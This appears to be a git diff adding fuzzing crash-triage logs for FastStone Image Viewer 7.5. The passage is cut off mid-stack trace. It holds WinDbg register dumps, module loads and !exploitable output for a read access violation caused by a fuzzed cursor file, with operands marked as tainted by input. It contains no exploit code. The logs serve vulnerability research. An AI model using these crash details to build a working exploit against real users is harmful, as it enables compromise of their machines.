+EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16249/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16249/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..77b8db5 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16249/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16574/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16574/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16574/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16574/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16574/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f0e585e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16574/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16574/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16574/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..1de5a2c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16574/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xB18: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xB18: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(b18.e50): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e37b10 edx=00003879 esi=ffdd0010 edi=0fd2afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.712899554094367840000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272811000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0.000233673 -1.37904e-028 -2.10217e+033 1.87492e-030 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f18130 07e95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00350000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00350000 01481016 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c1 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00350000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16574/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16574/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..1de5a2c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16574/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xB18: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xB18: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(b18.e50): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e37b10 edx=00003879 esi=ffdd0010 edi=0fd2afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.712899554094367840000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272811000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0.000233673 -1.37904e-028 -2.10217e+033 1.87492e-030 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 